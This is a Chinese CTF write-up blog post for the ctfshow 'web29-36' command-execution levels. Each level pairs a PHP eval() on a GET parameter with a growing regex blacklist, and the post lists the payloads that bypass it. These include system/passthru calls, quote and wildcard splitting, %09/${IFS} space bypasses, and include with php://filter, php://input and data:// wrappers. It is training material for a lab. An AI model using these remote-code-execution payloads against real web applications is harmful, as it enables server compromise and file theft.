ctfshow web入门 命令执行 web29-36

29-36 全是基于get传参执行 eval() 函数,均采用黑名单匹配,不同点在于黑名单的变化

 

web29

 1 error_reporting(0);
 2 if(isset($_GET['c'])){
 3     $c = $_GET['c'];
 4     if(!preg_match("/flag/i", $c)){
 5         eval($c);
 6     }
 7     
 8 }else{
 9     highlight_file(__FILE__);
10 }

涉及知识点

  1、执行外部命令函数:system()、passthru()、popen()、proc_open()、exec()、shell_exec()、内敛执行(反引号``、${})

            (前六个为php可调用并执行linux指令的函数)

  2、关键字屏蔽绕过:''、""、?、*、\、字符拼接、数组拼接

  3、文件内容查看命令:cat、tac、head、tail、less、more、nl、paste、rev、uniq、grep、sort、od、vi

payload 

c=system('tac fla""g.php');

  注意:不可单引号内用单引号,双引号内用双引号

        若使用 cat 命令查看,需要右击查看页面源代码

 

web30

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

黑名单增加:system、php 

 payload

c=syst\em('tac fl""ag.p""hp');    //对system进行绕过处理,但无法获取flag
真正payload:c=passthru('tac fl""ag.p""hp');
理由:
system()函数是 php 中的函数,不支持 ''  ""  \  ?  *  绕过
但linux支持

但 php 支持字符拼接、数组拼接 c
=eval('sys'.'tem("tac fl\ag.p\hp");'); c=eval(implode(['sys','tem("tac fla','g.ph','p");']));

 

web31

 1 error_reporting(0);
 2 if(isset($_GET['c'])){
 3     $c = $_GET['c'];
 4     if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
 5         eval($c);
 6     }
 7     
 8 }else{
 9     highlight_file(__FILE__);
10 }

黑名单增加:cat sort shell . ‘

知识点:

  空格绕过:<>、{,}、${IFS}、$IFS$9、%09、%0a、%0b、%0c

 payload

c=echo(`tac%09fla*`);    //由于屏蔽 . 应用匹配符替代(*  ?)
c=echo%09`tac%09fla*`;
c=passthru("tac%09fl*");    //单引号被屏蔽,只能使用双引号

 

web32

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

黑名单增加: `   echo  ;  (

由于 ( 的,使得函数无法使用,文件包含函数与伪协议不需要括号,这里使用文件包含传递伪协议

知识点:

  1、文件包含函数:include、require、include_once、require_once

  2、伪协议:php://  data://  file://  zip://

  3、分号在代码中表示结束,php代码格式为 <?php ?>,分号与 ?> 同为结束符,这里使用 ?> 代替分号

payload

解法一
c=include%09$_GET[1]?>&1=data://text/palin,<?php system('tac flag.php')?>  //使用data伪协议
解法二
c=include%09$_GET[1]?>&1=php://input    //使用php伪协议
抓包,在请求体、请求头添加下列信息
解法三
c=include%09$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php  //使用php伪协议
得到
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7YzJhZmM2MDgtNzNjNC00ODEyLWJkMGYtOTQ0ZmNjOTVhMGUxfSI7DQo=
这是对flag.php文件进行base64编码后的内容
进行base64解码,可得flag
base64解码

原因
源代码只对参数 $C 进行黑名单匹配,我们对 $c 再嵌套一个参数,对于 $c 嵌套的参数无法匹配

 

web33

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

黑名单添加双引号,不影响我们,解法同32

 

web34

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

黑名单添加冒号,解法同32

 

web35

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

黑名单添加 <  =,解法同32

 

web36

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

黑名单添加:/  数字

将 web32 的参数换成字母

 payload

c=include%09$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
c=include%09$_GET[a]?>&a=php://input
c=include%09$_GET[a]?>&a=data://text/palin,<?=system('cat flag.php')?>

 参考

[WEB安全]PHP伪协议总结 - 肖洋肖恩、 - 博客园 (cnblogs.com)

posted @ 2023-02-16 20:33  kazie  阅读(188)  评论(0编辑  收藏  举报